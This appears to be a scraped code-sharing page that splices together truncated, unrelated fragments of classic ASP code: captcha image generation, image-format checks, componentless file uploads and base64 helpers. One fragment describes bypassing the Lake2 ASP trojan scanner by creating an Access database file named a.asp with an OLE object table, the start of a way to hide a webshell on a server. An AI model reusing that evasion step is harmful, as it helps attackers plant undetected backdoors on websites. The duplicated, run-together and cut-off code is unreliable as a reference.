= falseEnd ifEnd Function'*************************************** ***********'Function ID: 0040 [generating the verification code image BMP]'Function name: grapcode'Usage: Generate Verification Code Image'Parameter: mzygcstr ---- the character of the image to be generated'Parameter: Noisy ---- noise rate (an integer greater than 0)'Parameter: bkcolor ---- pattern background color (Format: R | G | B)'Parameter: fncolor ---- Character Color (Format: R | G | B)'Parameter: nocolor ---- noise color
number of valid points to be deleted each time (to avoid human recognition failures)Const trycount = 5' prevent attempts to delete valid points from exceeding the upper limit
'-----------
RandomizeDim I, II, III
'Prohibit cachingResponse. expires =-9999Response. addheader "Pragma", "No-Cache"Response. addheader "cache-ctrol", "No-Cache"Response. contenttype = "image/BMP"
'Number of colors? Character, background)Dim vcolordata (1)Vcolordata (0) = chrb
Download savepic.asp
'---------------------------------------return the IMAGE FORMAT--------------------
function Checkimageformat (checkdata)
'--return:a,b,c (A is image format; B is height pixels; C is width pixels; D is color depth)
Flag=0 ' ' 0 is not jpg/gif/png image; 1 is Jpg/gif/png
'-------------------------------------------------------check jpg----------------
If Flag=0 Then
TEMPSTR=LEFTB (checkdata,10)
TSTR=CHRB (255) AMP;
Upload | no component | upload | no components
' When the table dropdowns has both a text field and a file field, we must set the form's encoding type to the ' Multipart/form-data ' type
' This time, the encoded file uploaded does not directly remove the values of the text field and the binary data of the file field, which requires splitting the form field
' There is a random separator between each form field in the uploaded data stream, the delimiter is invariant in the same stream, and the dif
Upload | no components
' When the table dropdowns has both a text field and a file field, we must set the form's encoding type to the ' Multipart/form-data ' type' This time, the encoded file uploaded does not directly remove the values of the text field and the binary data of the file field, which requires splitting the form field' There is a random separator between each form field in the uploaded data stream, the delimiter is invariant in the same stream, and the different flow delimiters are
Hanxiaolian
To avoid lake2 ASP Webmaster Admin Assistant and write.
A. Bypassing the Lake2 ASP Trojan scan Pony
Copy Code code as follows:
Set C = CreateObject ("ADOX.") Catalog ")
C.create ("Provider=Microsoft.Jet.OLEDB.4.0;Data source=" server.mappath ("a.asp"))
Set c = Nothing
Cserver.mappath ("a.asp")
Set Conn=server.createobject ("Adodb.connection")
Conn.Open ConnStr
Conn.execute ("CREATE Table Nomm (Nomuma oleobject)")
Set Rs=server.createobject ("Adodb.recordset")
Sql
Sbase_64_characters = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 + /"Sbase_64_characters = strunicode2ansi (sbase_64_characters)
Function strunicodelen (ascontents)'Calculate the ANSI encoding length of the Unicode stringAscontents1 = "A" ascontentsLen1 = Len (ascontents1)K = 0For I = 1 to len1Asc1 = ASC (mid (ascontents1, I, 1 ))If asc1 If asc1> 255 thenK = K + 2ElseK = k + 1End ifNextStrunicodelen = K-1End Function
Function strunicode2ansi (ascontents)'Convert a Unicode-e
Copy Code code as follows:
Sbase_64_characters = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/"
Sbase_64_characters = Strunicode2ansi (sbase_64_characters)
Function Strunicodelen (ascontents)
' Calculates the length of the ANSI encoding of a Unicode string
Ascontents1= "a" ascontents
Len1=len (ASCONTENTS1)
K=0
For I=1 to Len1
ASC1=ASC (Mid (ascontents1,i,1))
If Asc1If asc1>255 Then
K=k+2
Else
K=k+1
End If
Next
Strunicodelen=k-1
End Function
Functio
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.